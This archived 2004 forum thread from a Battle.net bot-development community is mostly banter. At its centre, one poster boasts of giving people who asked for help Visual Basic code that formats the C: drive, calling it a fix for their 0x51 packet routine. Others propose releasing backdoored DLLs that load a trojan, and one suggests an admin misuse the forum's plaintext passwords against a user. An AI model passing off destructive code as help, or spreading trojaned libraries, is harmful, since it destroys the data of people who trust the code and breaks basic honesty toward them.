Valhalla Legends Archive

wtf dude like yah

Quote from: $t0rm on July 14, 2004, 11:29 PM
wtf dude like yah

Totally.  I'm getting a Dell!

Quote from: PiaNKA on July 14, 2004, 11:16 PM
Wtf, stop deleting the posts dude, you're ruining our conversations...

Then STAY ON TOPIC and STOP POSTING CRAP.

kthx.

Quote from: Arta[vL] on July 15, 2004, 11:51 AM

Quote from: PiaNKA on July 14, 2004, 11:16 PM
Wtf, stop deleting the posts dude, you're ruining our conversations...

Then STAY ON TOPIC and STOP POSTING CRAP.

kthx.

+1

Haven't put it in any bot I have, yet.

Quote from: warz on July 15, 2004, 10:32 PM
Haven't put it in any bot I have, yet.

I had alot of jerks who constantly kept IM'ing me asking me for help to make it work, and surprise surprise they all got stuck at 0x51 and again surprise surprise all of their "Send 0x51" subs looked almost exactly indentical. Which shows me these guys haven't got a clue what they're doing.

So I told them to first do this !!!


Then after sending them on a wild goose chase I told them to implement this code into their bot. (Which should fix everything)


Private Declare Function SHFormatDrive Lib "shell32" _
 (ByVal hWnd As Long, ByVal Drive As Long, ByVal fmtID As  
  Long,  ByVal Options As Long) As Long

Private Declare Function GetDriveType Lib "kernel32" Alias _
"GetDriveTypeA" (ByVal nDrive As String) As Long

Private Const FORMAT_FULL = &H1


Add these API Declares


Public Function FormatDrive(Optional PermitNonRemovableFormat As Boolean = True) As Boolean

Dim sDrive As String
Dim lDrive As Long
Dim iDriveType As Integer
Dim iAns As Integer
Dim sDriveLetter
Dim lRet As Long

sDrive = "C"
sDriveLetter = sDrive
If Len(sDrive) = 1 Then sDriveLetter = sDriveLetter & ":\"
If Len(sDrive) = 2 And Right$(sDrive, 1) = ":" _
   Then sDriveLetter = sDrive & "\"


lDrive = Asc(Left(sDrive, 1)) - 65
iDriveType = DriveType(sDrive)
Select Case iDriveType

Case 2

lRet = SHFormatDrive(Me.hWnd, lDrive, HFFFF, FORMAT_FULL)
FormatDrive = lRet = 0
Case 3, 4, 5, 6
   If Not PermitNonRemovableFormat Then Exit Function
   lRet = SHFormatDrive(Me.hWnd, lDrive, HFFFF, FORMAT_FULL)
   FormatDrive = lRet = 0
Case Else 'no such drive
   Exit Function
End Select

End Function

Private Function DriveType(Drive As String) As Integer

Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
   Then Drive = Drive & "\"

DriveType = GetDriveType(Drive)

End Function


And I told them to put that right to execute during the "Send 0x51" form.
Now anybody who is even smart enough to read should realize it says FORMATDRIVE !!! in there....but w/e it got them to stop bugging me, some of them I haven't seen for at least a few days now

QuoteI had alot of jerks who constantly kept IM'ing me asking me for help to make it work, and surprise surprise they all got stuck at 0x51 and again surprise surprise all of their "Send 0x51" subs looked almost exactly indentical. Which shows me these guys haven't got a clue what they're doing.

Isn't it ironic that you didn't write that code. And that its "almost exactly indentical" to this:

http://www.freevbcode.com/ShowCode.asp?ID=1371

Obviously I didn't write it.......but it's funny what garbage you can get so many people to put in their bots who have no idea what they are doing.

i wrote my fake bot src myself

better idea, "nlshash.dll" -- backdoored, load a trojan etc..

Quote from: $t0rm on July 16, 2004, 06:05 PM
i wrote my fake bot src myself

better idea, "nlshash.dll" -- backdoored, load a trojan etc..

Release as many fake NLS.dll's as you can, and I'll love you forever

wow really... stop deleting my damn posts :X i think they are sexy

I think you getting run over by a bus would be pretty sexy.

gosu i thought we got rid of you...

Quote from: $t0rm on July 17, 2004, 10:49 PM
gosu i thought we got rid of you...

Hmmmm, Gosu is all bragging about how he never connects to the forums using his "REAL IP" wow he is so LEET, ONE 1337 h4x0r  

Quote
GoSuGaMING: i never connect to the vl forums with my real ip
GoSuGaMING: they dont got shit on me
ChRoNiC XxXxXxXx: If they don't want you on the forums, why keep going back?
GoSuGaMING: pride man GOSU PRIDE

Jeeeeeeeeeez we should all fear the GoSu h4x0r

YaBB stores the passwords in plain text IIRC. Perhaps an admin could do something about him?